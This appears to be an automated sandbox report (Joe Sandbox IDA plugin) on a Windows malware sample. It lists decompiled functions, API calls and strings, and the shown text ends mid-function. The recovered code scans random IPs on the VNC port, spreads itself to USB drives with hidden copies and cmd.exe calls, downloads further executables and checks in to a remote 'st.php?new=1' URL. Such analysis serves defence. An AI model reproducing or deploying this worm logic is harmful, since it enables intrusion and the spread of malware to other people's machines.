0x00402c8e
0x00402c91
0x00000000

APIs

InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000001,00000000,00000000,00000000), ref: 00402BFB
InternetOpenUrlA.WININET(00000000,00406BBB,00000000,00000000,00000000,00000000), ref: 00402C1C
PathFindFileNameA.SHLWAPI(00406BBB), ref: 00402C32
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402CB9
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402D33
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402DAD
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402E27
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402EB0
InternetCloseHandle.WININET(00000000), ref: 00402EB9
InternetCloseHandle.WININET(00000000), ref: 00402EC2
InternetCloseHandle.WININET(00000000), ref: 00403238
InternetCloseHandle.WININET(00000000), ref: 00403241

Strings

s.exe, xrefs: 004030D8
o.exe, xrefs: 00402E2D
m.exe, xrefs: 00402CBF
t.exe, xrefs: 00402C45
m.exe, xrefs: 00402F78
0u, xrefs: 004030B6
0u, xrefs: 00403216
t.exe, xrefs: 00402EC8
p.exe, xrefs: 00402D39
o.exe, xrefs: 00403188
0u, xrefs: 00403166
0u, xrefs: 00403006
0u, xrefs: 00402F56
s.exe, xrefs: 00402DB3
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0, xrefs: 00402BF6
p.exe, xrefs: 00403028

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: Internet$HttpInfoQuery$CloseHandle$Open$FileFindNamePath
String ID: 0u$0u$0u$0u$0u$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0$m.exe$m.exe$o.exe$o.exe$p.exe$p.exe$s.exe$s.exe$t.exe$t.exe
API String ID: 37956365-521208185
Opcode ID: 17fa5b4461d409d9b1ec2d9a23cca3bba81e972b0ab4b0443fa677a7e51dcf3f
Instruction ID: ab86073ac843c99f1253e1fd532b87c8553bcd4229aed7c2f4a9da9a39d6ebb8
Opcode Fuzzy Hash: 17fa5b4461d409d9b1ec2d9a23cca3bba81e972b0ab4b0443fa677a7e51dcf3f
Instruction Fuzzy Hash: 99222674D042989FDB21CFA4C948BEDBBB1AB15314F1441EAD099B72D1C3785E89CF19

Uniqueness

Uniqueness Score: 100.00%

Function 00401234, Relevance: 30.3, APIs: 20, Instructions: 287networkCOMMON

APIs

send.WS2_32(?,?,00000001,00000000), ref: 004012B9
send.WS2_32(?,?,00000001,00000000), ref: 004012CA
send.WS2_32(?,?,00000004,00000000), ref: 00401308
send.WS2_32(?,?,00000005,00000000), ref: 0040131B
send.WS2_32(?,?,?,00000000), ref: 00401353
send.WS2_32(?,?,00000001,00000000), ref: 00401369
send.WS2_32(?,?,00000001,00000000), ref: 0040137A
send.WS2_32(?,?,00000004,00000000), ref: 004013B8
send.WS2_32(?,?,00000005,00000000), ref: 004013CB
send.WS2_32(?,?,?,00000000), ref: 00401403
send.WS2_32(?,?,00000001,00000000), ref: 00401439
send.WS2_32(?,?,00000001,00000000), ref: 0040144A
send.WS2_32(?,?,00000004,00000000), ref: 00401488
send.WS2_32(?,?,00000005,00000000), ref: 0040149B
send.WS2_32(?,?,?,00000000), ref: 004014DF
send.WS2_32(?,?,00000001,00000000), ref: 004014F5
send.WS2_32(?,?,00000001,00000000), ref: 00401506
send.WS2_32(?,?,00000004,00000000), ref: 00401565
send.WS2_32(?,?,00000005,00000000), ref: 00401578
send.WS2_32(?,?,?,00000000), ref: 004015D1

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 936451f52fc491bc1bc339eb1790016db85604590e470bb29953fca8b5897de3
Instruction ID: 7e10a3425216758627c194d5b1fe677fff407d5ee092f0c9df430c7f9d8f4f5e
Opcode Fuzzy Hash: 936451f52fc491bc1bc339eb1790016db85604590e470bb29953fca8b5897de3
Instruction Fuzzy Hash: F6D1C274D04248EFEB21CFA4CD44BEDBFB4EB09300F1080A6E959BA2A1C7756A85DF55

Uniqueness

Uniqueness Score: 0.03%

Function 00402689, Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 77
sleepthreadUNIQUE

C-Code - Quality: 70%

			E00402689() {
				void _v56;
				signed int _t26;
				signed int _t28;
				signed int _t30;
				signed int _t32;
				void* _t63;

				srand(GetTickCount());
				L1:
				memset( &_v56, 0, 0x32);
				_t26 = rand();
				asm("cdq");
				_t28 = rand();
				asm("cdq");
				_t30 = rand();
				asm("cdq");
				_t32 = rand();
				asm("cdq");
				sprintf( &_v56, "%d.%d.%d.%d", _t32 % 0xb4 + 0x1e, _t30 % 0xff + 1, _t28 % 0xff + 1, _t26 % 0xff + 1);
				_t63 = _t63 + 0x24;
				if(E00401012( &_v56, "127.") == 0 && E00401012( &_v56, "172.") == 0 && E00401012( &_v56, "192.") == 0) {
					CreateThread(0, 0, E00402501,  &_v56, 0, 0);
				}
				Sleep(0x19);
				goto L1;
			}

0x00402696
0x0040269c
0x004026a4
0x004026ac
0x004026b1
0x004026bb
0x004026c0
0x004026ca
0x004026cf
0x004026d9
0x004026de
0x004026f3
0x004026f8
0x0040270d
0x00402748
0x00402748
0x00402750
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040268F
srand.MSVCRT ref: 00402696
memset.MSVCRT ref: 004026A4
rand.MSVCRT ref: 004026AC
rand.MSVCRT ref: 004026BB
rand.MSVCRT ref: 004026CA
rand.MSVCRT ref: 004026D9
sprintf.MSVCRT ref: 004026F3

Part of subcall function 00401012: strstr.MSVCRT ref: 0040101B

CreateThread.KERNEL32(00000000,00000000,00402501,?,00000000,00000000), ref: 00402748
Sleep.KERNEL32(00000019), ref: 00402750

Strings

172., xrefs: 0040270F
%d.%d.%d.%d, xrefs: 004026EA
127., xrefs: 004026FB
192., xrefs: 00402723

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: rand$CountCreateSleepThreadTickmemsetsprintfsrandstrstr
String ID: %d.%d.%d.%d$127.$172.$192.
API String ID: 907652839-4054544116
Opcode ID: ab01095f8a814831c6552b0cc2a2a5d26331eb1e04f286a7b96353281bc16266
Instruction ID: 1f696caabd4741f4f8f61954be6c2051453dfb1bc9da6a81bcc70d7fbdc66730
Opcode Fuzzy Hash: ab01095f8a814831c6552b0cc2a2a5d26331eb1e04f286a7b96353281bc16266
Instruction Fuzzy Hash: B7110871A843457AE614B2A1DE4BF7A326E8B84708F20043FB241F24D1EEBC9A40153E

Uniqueness

Uniqueness Score: 100.00%

Function 004041B2, Relevance: 24.1, APIs: 16, Instructions: 119
sleepCOMMON

C-Code - Quality: 93%

			E004041B2() {
				WCHAR* _v8;
				short _v220;
				short _v748;
				struct _IO_FILE* _v752;
				long _t26;
				int _t52;
				void* _t60;
				void* _t62;
				void* _t63;

				memset(0x40a9c8, 0, 0x208);
				_t63 = _t62 + 0xc;
				_t26 = GetModuleFileNameW(0, 0x40a9c8, 0x208);
				Sleep(0x1f4);
				_push(L"rb");
				L00401042();
				_t60 = 0x40a9c8;
				_v752 = _t26;
				if(_v752 != 0) {
					fseek(_v752, 0, 2);
					_t63 = _t63 + 0xc;
					 *0x40a9c0 = ftell(_v752);
					fclose(_v752);
					_pop(_t60);
				}
				Sleep(0x1f4);
				while(1) {
					memset( &_v220, 0, 0xd0);
					memset( &_v748, 0, 0x20a);
					_t63 = _t63 + 0x18;
					GetLogicalDriveStringsW(0xd0,  &_v220);
					_v8 =  &_v220;
					while(( *_v8 & 0x0000ffff) != 0) {
						if(GetDriveTypeW(_v8) == 2 && ( *_v8 & 0x0000ffff | 0x00000020) != 0x61 && ( *_v8 & 0x0000ffff | 0x00000020) != 0x62) {
							SetErrorMode(1);
							_t52 = GetVolumeInformationW(_v8,  &_v748, 0x105, 0, 0, 0, 0, 0);
							_t70 = _t52;
							if(_t52 == 0) {
								E00403775(_t60, __eflags, _v8, 0x408c30, 0);
								_t63 = _t63 + 0xc;
							} else {
								E00403775(_t60, _t70, _v8,  &_v748, 0);
								_t63 = _t63 + 0xc;
							}
						}
						if(GetDriveTypeW(_v8) == 4) {
							_t72 = ( *_v8 & 0x0000ffff | 0x00000020) - 0x63;
							if(( *_v8 & 0x0000ffff | 0x00000020) != 0x63) {
								E00403775(_t60, _t72, _v8, 0x408c34, 1);
								_t63 = _t63 + 0xc;
							}
						}
						_v8 =  &(_v8[4]);
					}
					Sleep(0x3e8);
				}
			}

0x004041c7
0x004041cc
0x004041db
0x004041e6
0x004041ec
0x004041f6
0x004041fc
0x004041fd
0x0040420a
0x00404216
0x0040421b
0x0040422a
0x00404235
0x0040423a
0x0040423a
0x00404240
0x00404246
0x00404254
0x0040426a
0x0040426f
0x0040427e
0x0040428a
0x0040428d
0x004042a7
0x004042c7
0x004042e6
0x004042ec
0x004042ee
0x00404310
0x00404315
0x004042f0
0x004042fc
0x00404301
0x00404301
0x004042ee
0x00404324
0x0040432f
0x00404332
0x0040433e
0x00404343
0x00404343
0x00404332
0x0040434c
0x0040434c
0x00404359
0x00404359

APIs

memset.MSVCRT ref: 004041C7
GetModuleFileNameW.KERNEL32(00000000,0040A9C8,00000208), ref: 004041DB
Sleep.KERNEL32(000001F4), ref: 004041E6
_wfopen.MSVCRT ref: 004041F6
fseek.MSVCRT ref: 00404216
ftell.MSVCRT ref: 00404224
fclose.MSVCRT ref: 00404235
Sleep.KERNEL32(000001F4), ref: 00404240
memset.MSVCRT ref: 00404254
memset.MSVCRT ref: 0040426A
GetLogicalDriveStringsW.KERNEL32(000000D0,?), ref: 0040427E
GetDriveTypeW.KERNEL32(?), ref: 0040429E
SetErrorMode.KERNEL32(00000001), ref: 004042C7
GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,00000000,00000000,00000000), ref: 004042E6
GetDriveTypeW.KERNEL32(?), ref: 0040431B

Part of subcall function 00403775: GetTickCount.KERNEL32(?,00404343,?,00408C34,00000001), ref: 00403782
Part of subcall function 00403775: srand.MSVCRT ref: 00403789
Part of subcall function 00403775: memset.MSVCRT ref: 0040379D
Part of subcall function 00403775: memset.MSVCRT ref: 004037B3
Part of subcall function 00403775: memset.MSVCRT ref: 004037C9
Part of subcall function 00403775: memset.MSVCRT ref: 004037DF
Part of subcall function 00403775: memset.MSVCRT ref: 004037F5
Part of subcall function 00403775: memset.MSVCRT ref: 0040380B
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00403827
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00403846
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00403862
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 0040387E
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 0040389A
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 004038B6
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 004038C3
Part of subcall function 00403775: _wfopen.MSVCRT ref: 004038D5
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 0040394D
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 0040395A
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 0040396F
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000080), ref: 00403985
Part of subcall function 00403775: DeleteFileW.KERNEL32(?), ref: 00403992
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 004039EE
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000005), ref: 004039FD
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 00403A08
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 00403A15
Part of subcall function 00403775: CreateDirectoryW.KERNEL32(?,00000000), ref: 00403A28
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000007), ref: 00403A3B
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 00403A46
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 00403A53
Part of subcall function 00403775: CopyFileW.KERNEL32(0040A9C8,?,00000000), ref: 00403A6B
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000007), ref: 00403A7A
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 00403A85
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 00403A92
Part of subcall function 00403775: _wfopen.MSVCRT ref: 00403AA8
Part of subcall function 00403775: fprintf.MSVCRT ref: 00403AC9
Part of subcall function 00403775: fclose.MSVCRT ref: 00403AD6
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000007), ref: 00403AE5
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 00403AF0
Part of subcall function 00403775: FindFirstFileW.KERNEL32(?,?), ref: 00403B04
Part of subcall function 00403775: memset.MSVCRT ref: 00403CE5
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00403D08
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000080), ref: 00403D1C
Part of subcall function 00403775: DeleteFileW.KERNEL32(?), ref: 00403D29
Part of subcall function 00403775: Sleep.KERNEL32(00000064), ref: 00403D31
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 00403D3E
Part of subcall function 00403775: memset.MSVCRT ref: 00403FEC
Part of subcall function 00403775: memset.MSVCRT ref: 00404002
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00404025
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00404048
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000080), ref: 0040405C
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 00404069
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 0040407E
Part of subcall function 00403775: GetFileAttributesW.KERNEL32(?), ref: 00404093
Part of subcall function 00403775: memset.MSVCRT ref: 004040DE
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 004040FE
Part of subcall function 00403775: ShellExecuteW.SHELL32(00000000,00000000,cmd.exe,?,00000000,00000000), ref: 0040411A
Part of subcall function 00403775: DeleteFileW.KERNEL32(?), ref: 00404129
Part of subcall function 00403775: memset.MSVCRT ref: 0040413D
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00404164
Part of subcall function 00403775: ShellExecuteW.SHELL32(00000000,00000000,cmd.exe,?,00000000,00000000), ref: 00404180
Part of subcall function 00403775: FindNextFileW.KERNEL32(?,?), ref: 00404193
Part of subcall function 00403775: FindClose.KERNEL32(?), ref: 004041A7

Part of subcall function 00403775: fseek.MSVCRT ref: 004038F5
Part of subcall function 00403775: ftell.MSVCRT ref: 00403903
Part of subcall function 00403775: fclose.MSVCRT ref: 00403915
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000080), ref: 00403935
Part of subcall function 00403775: DeleteFileW.KERNEL32(?), ref: 00403942

Sleep.KERNEL32(000003E8), ref: 00404359

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: File$memset$Sleep_snwprintf$Attributes$ExistsPath$Delete$DriveFind_wfopenfclose$ExecuteShellTypefseekftell$CloseCopyCountCreateDirectoryErrorFirstInformationLogicalModeModuleNameNextStringsTickVolumefprintfsrand
String ID:
API String ID: 2844494160-0
Opcode ID: 74824b15d34eb2f65a6c5e69e2915ca5fd66a754b2636761c0c560bd4b58fe1f
Instruction ID: a71b6a33e762114b54e5903e31fe9bd96b8b9425c847d99bc1a6b51d732d795a
Opcode Fuzzy Hash: 74824b15d34eb2f65a6c5e69e2915ca5fd66a754b2636761c0c560bd4b58fe1f
Instruction Fuzzy Hash: 1F4194B1E84208BBEB20AB90DD4BF9D7774AB41701F2001B6F604F51E1DA785E949B1E

Uniqueness

Uniqueness Score: 2.28%

Function 00402501, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 104networkthreadUNIQUE

APIs

Part of subcall function 004034E6: inet_addr.WS2_32(?), ref: 004034EE
Part of subcall function 004034E6: gethostbyname.WS2_32(?), ref: 00403500

socket.WS2_32(00000002,00000001,00000000), ref: 00402533
htons.WS2_32(0000170C), ref: 00402558
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040256E
connect.WS2_32(000000FF,?,00000010), ref: 0040257D
select.WS2_32(00000000,00000000,00000000,00000000,00000007), ref: 00402621
closesocket.WS2_32(000000FF), ref: 0040262D
closesocket.WS2_32(000000FF), ref: 0040263C

Part of subcall function 00401B06: socket.WS2_32(00000002,00000001,00000000), ref: 00401B29
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401B3B
Part of subcall function 00401B06: inet_addr.WS2_32(00000001), ref: 00401B4B
Part of subcall function 00401B06: htons.WS2_32(0000170C), ref: 00401B60
Part of subcall function 00401B06: connect.WS2_32(000000FF,?,00000010), ref: 00401B73
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401B85
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401BAA
Part of subcall function 00401B06: sscanf.MSVCRT ref: 00401BCC
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401BDC
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401BF8
Part of subcall function 00401B06: sprintf.MSVCRT ref: 00401C24
Part of subcall function 00401B06: sprintf.MSVCRT ref: 00401C3B
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401C5F
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401C9C
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401CC1
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 00401E41
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00401E55
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00401E71
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00401E85
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00401EA1
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 00401EBD
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401EC6
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401ED7
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401EE2
Part of subcall function 00401B06: Sleep.KERNEL32(00001388), ref: 00401EED
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401F10
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401F85
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00401FA4
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 004020CF
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 004020E3
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 004020FF
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00402113
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 0040212F
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 0040214B
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00402154
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 0040217A
Part of subcall function 00401B06: strncpy.MSVCRT ref: 00402196
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00402233
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00402258
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 0040240B
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 0040241F
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 0040243B
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 0040244F
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 0040246B
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 00402487
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00402490
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 004024A2
Part of subcall function 00401B06: Sleep.KERNEL32(00000BB8), ref: 004024AD
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 004024B8
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 004024C7
Part of subcall function 00401B06: shutdown.WS2_32(000000FF,00000002), ref: 004024DC
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 004024E5
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 004024F4

ExitThread.KERNEL32 ref: 0040267D

Strings

@, xrefs: 004025E3

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: closesocket$Sleep$connecthtonsinet_addrsocketsprintf$ExitThreadgethostbynameioctlsocketselectshutdownsscanfstrncpy
String ID: @
API String ID: 33145459-2766056989
Opcode ID: 31a09b4cb86bd0a8dacbb7d79b3b3d2e86d189c8f1a24138e5103d4aec14dbd0
Instruction ID: 50a6d2c0bb644e9e1ec9787a68e904db16e4b781e92625cffabff0c086edb036
Opcode Fuzzy Hash: 31a09b4cb86bd0a8dacbb7d79b3b3d2e86d189c8f1a24138e5103d4aec14dbd0
Instruction Fuzzy Hash: D6410630D04218DFDB21CF94DE48BEEBBB4BB09315F1044A6E409B62D0D7B66A85CF59

Uniqueness

Uniqueness Score: 100.00%

Function 00406ADD, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 62
sleepthreadUNIQUE

C-Code - Quality: 65%

			E00406ADD() {
				signed int _t30;
				void* _t53;
				void* _t54;

				L0:
				while(1) {
					L0:
					 *(_t53 - 0x15b8) =  *(_t53 - 0x15b8) + 1;
					L2:
					while( *(_t53 - 0x15b8) >= 0x47) {
						_t30 = rand();
						asm("cdq");
						Sleep(0x2710 + _t30 % 0xea60 * 5);
						L1:
						Sleep(0x1f4);
						 *(_t53 - 0x15b8) =  *(_t53 - 0x15b8) & 0x00000000;
					}
					Sleep(0x1f4);
					memset(_t53 - 0x1180, 0, 0x1f4);
					_push( *((intOrPtr*)(_t53 +  *(_t53 - 0x15b8) * 4 - 0xbd8)));
					_push("%s");
					_push(0x1f4);
					_push(_t53 - 0x1180);
					L00401066();
					_t54 = _t54 + 0x1c;
					 *(_t53 - 0x15bc) =  *(_t53 - 0x15bc) & 0x00000000;
					L5:
					while( *(_t53 - 0x15bc) < 5) {
						Sleep(0x1f4);
						memset(_t53 - 0x17b8, 0, 0x1f4);
						_push( *((intOrPtr*)(_t53 +  *(_t53 - 0x15bc) * 4 - 0xbec)));
						_push(_t53 - 0x1180);
						_push("%s%s");
						_push(0x1f4);
						_push(_t53 - 0x17b8);
						L00401066();
						_t54 = _t54 + 0x20;
						if((E00402BE5(_t53 - 0x17b8) & 0x000000ff) != 0) {
							CreateThread(0, 0, E0040436A, _t53 - 0x17b8, 0, 0);
						}
						L4:
						 *(_t53 - 0x15bc) =  *(_t53 - 0x15bc) + 1;
					}
				}
			}

0x00406add
0x00406add
0x00406add
0x00406ae4
0x00000000
0x00406aea
0x00406be7
0x00406bec
0x00406bfe
0x00406ac9
0x00406ace
0x00406ad4
0x00406ad4
0x00406afc
0x00406b10
0x00406b1e
0x00406b25
0x00406b2a
0x00406b35
0x00406b36
0x00406b3b
0x00406b3e
0x00000000
0x00406b54
0x00406b66
0x00406b7a
0x00406b88
0x00406b95
0x00406b96
0x00406b9b
0x00406ba6
0x00406ba7
0x00406bac
0x00406bc1
0x00406bd7
0x00406bd7
0x00406b47
0x00406b4e
0x00406b4e
0x00406be2

APIs

Sleep.KERNEL32(000001F4), ref: 00406ACE
Sleep.KERNEL32(000001F4), ref: 00406AFC
memset.MSVCRT ref: 00406B10
_snprintf.MSVCRT ref: 00406B36
Sleep.KERNEL32(000001F4), ref: 00406B66
memset.MSVCRT ref: 00406B7A
_snprintf.MSVCRT ref: 00406BA7

Part of subcall function 00402BE5: InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000001,00000000,00000000,00000000), ref: 00402BFB
Part of subcall function 00402BE5: InternetOpenUrlA.WININET(00000000,00406BBB,00000000,00000000,00000000,00000000), ref: 00402C1C
Part of subcall function 00402BE5: PathFindFileNameA.SHLWAPI(00406BBB), ref: 00402C32
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402CB9
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402D33
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402DAD
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402E27
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402EB0
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EB9
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EC2
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403238
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403241

CreateThread.KERNEL32(00000000,00000000,0040436A,?,00000000,00000000), ref: 00406BD7
rand.MSVCRT ref: 00406BE7
Sleep.KERNEL32 ref: 00406BFE

Strings

%s%s, xrefs: 00406B96
G, xrefs: 00406AEA

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: Internet$HttpInfoQuery$CloseHandleSleep$Open_snprintfmemset$CreateFileFindNamePathThreadrand
String ID: %s%s$G
API String ID: 3723293114-2161775529
Opcode ID: cf5444a184c9784a72ca07b29f7b904a2b8d4ad0c41e653e918d55e787fc7db4
Instruction ID: 1d100ea677f2fdf9f662240d1665f38cb95b3e1b6a68725344ac8fa4eadf81c6
Opcode Fuzzy Hash: cf5444a184c9784a72ca07b29f7b904a2b8d4ad0c41e653e918d55e787fc7db4
Instruction Fuzzy Hash: 172157B1948219EBDB50DA509C85FD973BCAB48705F1005F6F20AF90C0DB78AAD48F19

Uniqueness

Uniqueness Score: 100.00%

Function 00403527, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
fileUNIQUE

C-Code - Quality: 61%

			E00403527() {
				short _v524;
				void* _v528;
				short _v1052;

				memset( &_v524, 0, 0x208);
				memset( &_v1052, 0, 0x208);
				ExpandEnvironmentStringsW(L"%appdata%",  &_v524, 0x208);
				_push( &_v524);
				_push(L"%ls\\winsvcs.txt");
				_push(0x208);
				_push( &_v1052);
				L00401030();
				_v528 = CreateFileW( &_v1052, 0x40000000, 0, 0, 2, 2, 0);
				if(_v528 == 0xffffffff || GetLastError() == 0xb7) {
					return 0;
				} else {
					CloseHandle(_v528);
					return 1;
				}
			}

0x0040353e
0x00403554
0x0040356d
0x00403579
0x0040357a
0x0040357f
0x0040358a
0x0040358b
0x004035af
0x004035bc
0x00000000
0x004035cf
0x004035d5
0x00000000
0x004035db

APIs

memset.MSVCRT ref: 0040353E
memset.MSVCRT ref: 00403554
ExpandEnvironmentStringsW.KERNEL32(%appdata%,?,00000208), ref: 0040356D
_snwprintf.MSVCRT ref: 0040358B
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004035A9
GetLastError.KERNEL32 ref: 004035BE
CloseHandle.KERNEL32(000000FF), ref: 004035D5

Strings

%ls\winsvcs.txt, xrefs: 0040357A
%appdata%, xrefs: 00403568

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: memset$CloseCreateEnvironmentErrorExpandFileHandleLastStrings_snwprintf
String ID: %appdata%$%ls\winsvcs.txt
API String ID: 3117843982-2072866358
Opcode ID: ced0ce0bf442d9b3e35b573d81142ec20373fd3be4dffbcde456d6de309a3333
Instruction ID: 504b25e4c6b840a808b2190e11c05aed5ed3b01715c44f36e106f365c5ebcb74
Opcode Fuzzy Hash: ced0ce0bf442d9b3e35b573d81142ec20373fd3be4dffbcde456d6de309a3333
Instruction Fuzzy Hash: 961161B4D403187AEB60AB609C0EFDA376C9B10705F5046B5B354F60D2DA786AC58FA9

Uniqueness

Uniqueness Score: 100.00%

Function 0040324B, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
networkUNIQUE

C-Code - Quality: 54%

			E0040324B(intOrPtr _a4) {
				void* _v8;
				char _v276;
				void* _v280;

				memset( &_v276, 0, 0x104);
				_push(_a4);
				_push("%st.php?new=1");
				_push(0x104);
				_push( &_v276);
				L00401066();
